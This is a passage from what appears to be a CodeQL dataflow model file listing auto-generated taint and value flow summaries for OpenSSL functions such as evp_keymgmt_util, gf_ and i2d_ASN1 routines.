*,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_find_operation_cache", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_find_operation_cache", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_fromdata", "(EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_gen", "(EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *)", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_get_deflt_digest_name", "(EVP_KEYMGMT *,void *,char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_make_pkey", "(EVP_KEYMGMT *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_query_operation_name", "(EVP_KEYMGMT *,int)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_query_operation_name", "(EVP_KEYMGMT *,int)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_mac_get_number", "(const EVP_MAC *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**pctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**pctx].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**pctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "evp_md_ctx_new_ex", "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**pctx].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "evp_md_get_number", "(const EVP_MD *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_names_do_all", "(OSSL_PROVIDER *,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_copy_downgraded", "(EVP_PKEY **,const EVP_PKEY *)", "", "Argument[*1].Field[*type]", "Argument[**0].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_copy_downgraded", "(EVP_PKEY **,const EVP_PKEY *)", "", "Argument[*1].Field[*type]", "Argument[**0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_copy_downgraded", "(EVP_PKEY **,const EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_get_params_strict", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_get_params_to_ctrl", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_set_params_strict", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_ctx_set_params_to_ctrl", "(EVP_PKEY_CTX *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_decrypt_alloc", "(EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_decrypt_alloc", "(EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_export_to_provider", "(EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_get0_DH_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_DH_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_EC_KEY_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_EC_KEY_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_RSA_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get0_RSA_int", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_legacy", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_legacy", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_legacy", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_pkey_get_params_to_ctrl", "(const EVP_PKEY *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_pkey_set_cb_translate", "(BN_GENCB *,EVP_PKEY_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**arg]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_set_cb_translate", "(BN_GENCB *,EVP_PKEY_CTX *)", "", "Argument[1]", "Argument[*0].Field[*arg]", "value", "dfc-generated"] + - ["", "", True, "evp_pkey_type2name", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_pkey_type2name", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "evp_rand_can_seed", "(EVP_RAND_CTX *)", "", "Argument[*0].Field[**meth].Field[*get_seed]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "evp_rand_get_number", "(const EVP_RAND *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_signature_get_number", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "gendsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "gendsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "generic_import", "(void *,int,const OSSL_PARAM[])", "", "Argument[*0].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "generic_import", "(void *,int,const OSSL_PARAM[])", "", "Argument[*0].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "generic_import", "(void *,int,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "genpkey_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "genpkey_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "genrsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "genrsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "get_ca_names", "(SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "get_ca_names", "(SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "get_passwd", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "get_passwd", "(const char *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "gf_add", "(gf,const gf,const gf)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_add", "(gf,const gf,const gf)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[*1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[3]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_eq", "(const gf,const gf)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_eq", "(const gf,const gf)", "", "Argument[*1].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_hibit", "(const gf)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_lobit", "(const gf)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "gf_lobit", "(const gf)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "gf_serialize", "(uint8_t[56],const gf,int)", "", "Argument[*1].Field[*limb]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "gf_serialize", "(uint8_t[56],const gf,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "gf_sub", "(gf,const gf,const gf)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "gf_sub", "(gf,const gf,const gf)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] + - ["", "", True, "help_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "help_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "http_server_get_asn1_req", "(const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "http_server_get_asn1_req", "(const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "http_server_send_asn1_resp", "(const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*4]", "Argument[5]", "taint", "df-generated"] + - ["", "", True, "http_server_send_asn1_resp", "(const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*5]", "Argument[5]", "value", "df-generated"] + - ["", "", True, "i2b_PVK_bio", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "i2b_PVK_bio", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "i2b_PVK_bio_ex", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "i2b_PVK_bio_ex", "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ACCESS_DESCRIPTION", "(const ACCESS_DESCRIPTION *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSIONS", "(const ADMISSIONS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ADMISSION_SYNTAX", "(const ADMISSION_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdOrRange", "(const ASIdOrRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifierChoice", "(const ASIdentifierChoice *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASIdentifiers", "(const ASIdentifiers *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BIT_STRING", "(const ASN1_BIT_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_BMPSTRING", "(const ASN1_BMPSTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_ENUMERATED", "(const ASN1_ENUMERATED *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALIZEDTIME", "(const ASN1_GENERALIZEDTIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_GENERALSTRING", "(const ASN1_GENERALSTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_IA5STRING", "(const ASN1_IA5STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_INTEGER", "(const ASN1_INTEGER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_NULL", "(const ASN1_NULL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_OBJECT", "(const ASN1_OBJECT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OBJECT", "(const ASN1_OBJECT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OBJECT", "(const ASN1_OBJECT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_OCTET_STRING", "(const ASN1_OCTET_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLE", "(const ASN1_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_PRINTABLESTRING", "(const ASN1_PRINTABLESTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SEQUENCE_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_SET_ANY", "(const ASN1_SEQUENCE_ANY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_T61STRING", "(const ASN1_T61STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TIME", "(const ASN1_TIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_TYPE", "(const ASN1_TYPE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UNIVERSALSTRING", "(const 